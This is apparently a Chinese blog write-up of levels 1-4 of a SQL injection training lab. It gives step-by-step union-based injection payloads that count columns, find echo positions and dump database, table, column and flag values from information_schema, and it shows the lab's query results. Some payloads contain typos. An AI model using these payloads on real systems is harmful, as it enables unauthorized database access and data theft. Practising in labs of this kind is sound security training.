

# 封神台基础靶场 显错注入1-4

原创

星星明亮 于 2021-06-24 21:02:53 发布 94 收藏

分类专栏: [封神台靶场 sql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_46578840/article/details/118189747](https://blog.csdn.net/weixin_46578840/article/details/118189747)

版权



[封神台靶场](#) 同时被 2 个专栏收录

4 篇文章 0 订阅

订阅专栏



[sql](#)

4 篇文章 0 订阅

订阅专栏

第一题, 单双引号没区别, 可能不是字符型

1 and 1=1 //页面正常

1 and 1=2 //页面错误, 数字型注入



判断列数

1 and 1=1 order by 1, 2, 3 //回显, 存在三列。

判断回显位

1 and 1=2 union select 1,2,3 //23为回显位

injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3

## SQL注入靶场

**本关考点:**  
显错注入 (一)

**任务**  
通过显错注入获得flag。  
对该页面进行GET传参, 传参名为id

**数据库查询语句:**  
`select *from user where id=1 and 1=2 union select 1,2,3`

**查询结果:**  
Your Login name:2  
Your Password:3

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

注出当前数据库

1 and 1=2 union select 1,2,(database()) --+

injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,(database()) --+

## SQL注入靶场

**本关考点:**  
显错注入 (一)

**任务**  
通过显错注入获得flag。  
对该页面进行GET传参, 传参名为id

**数据库查询语句:**  
`select *from user where id=1 and 1=2 union select 1,2,(database()) --`

**查询结果:**  
Your Login name:2  
Your Password:error

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

注表

1 and 1=2 union select 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema='error' --+

injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,group\_concat(table\_n

## 注入靶场

[查看源码](#)

**本考点:**  
显错注入 (一)

**任务**  
通过显错注入获得 flag。  
对该页面进行 GET 传参, 传参名为 id

**数据库查询语句:**  
`select *from user where id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='erro`

**查询结果:**  
Your Login name:2  
Your Password:error\_flag,user

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

爆字段

1 and 1=2 union select 1,2,group\_concat(column\_name) form information.schema.columns where table\_name='error\_flag' --+

**本考点:**  
显错注入 (一)

**任务**  
通过显错注入获得 flag。  
对该页面进行 GET 传参, 传参名为 id

**数据库查询语句:**  
`select *from user where id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_flag'`

**查询结果:**  
Your Login name:2  
Your Password:Id,flag

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

爆字段值

1 and 1=2 union select 1,2,group\_concat(id,flag) from error\_flag #

## 本关考点:

显错注入 (一)

## 任务

通过显错注入获得flag。

对该页面进行GET传参, 传参名为id

## 数据库查询语句:

```
select *from user where id=1 and 1=2 union select 1,2,group_concat(id,flag) from error_flag
```

## 查询结果:

Your Login name:2

Your Password:1zKaQ-Nf,2zKaQ-BJY,3zKaQ-XiaoFang,4zKaq-98K

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

成功

第二关

字符型报错注入,

```
1' order by 1,2,3 --+ 确定为三列
1' and 1=2 union select 1,2,3 --+ //回显为23, 这里一定要用and 1=2才能回显
1' and 1=2 union select 1,2,database() --+ //爆当前数据库
1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(
) -- //爆表,
1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_fl
ag' --+ //爆字段
1' and 1=2 union select 1,group_concat(id,flag),3 from error_flag --+ //爆字段值
```

## 数据库查询语句:

```
select *from user where id='1' and 1=2 union select 1,group_concat(id,flag),3 from error_flag -- '
```

## 查询结果:

Your Login name:1zKaQ-Nf,2zKaQ-BJY,3zKaQ-XiaoFang,4zKaq-98K

Your Password:3

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

第三关  
多了个括号

```
select *from user where id=('1') order by 1,2,3#')
```

**查询结果:**

Your Login name:test  
Your Password:mima

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

```
1') order by 1,2,3%23 //判断列数
1') union select 1,2,3%23 //23为回显位
1') union select 1,2,database()%23 //当前数据库
1') and 1=2 unions select 1,group_concat(table_name),3 from information_schema.tables where table_schema=databas
e()%23 //读表
1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_f
lag'%23 //读字段
1') and 1=2 union select 1,group_concat(id,flag),3 from error_flag%23
```

```
select *from user where id=('1') and 1=2 union select 1,group_concat(id,flag),3 from error_flag#')
```

**查询结果:**

Your Login name:1zKaQ-Nf,2zKaQ-BJY,3zKaQ-XiaoFang,4zKaq-98K  
Your Password:3

[https://blog.csdn.net/weixin\\_46578840](https://blog.csdn.net/weixin_46578840)

第四关，将第三关的单引号换成双引号即可

```
1") and 1=2 union select 1,2,3%23 //回显位
1") and 1=2 union select 1,database(),3%23 //当前数据库
1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='error'%
23 //读表
1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_f
lag'%23 //读表内字段
1") and 1=2 union select 1,2,group_concat(id,flag) from error_flag%23 //字段数据
```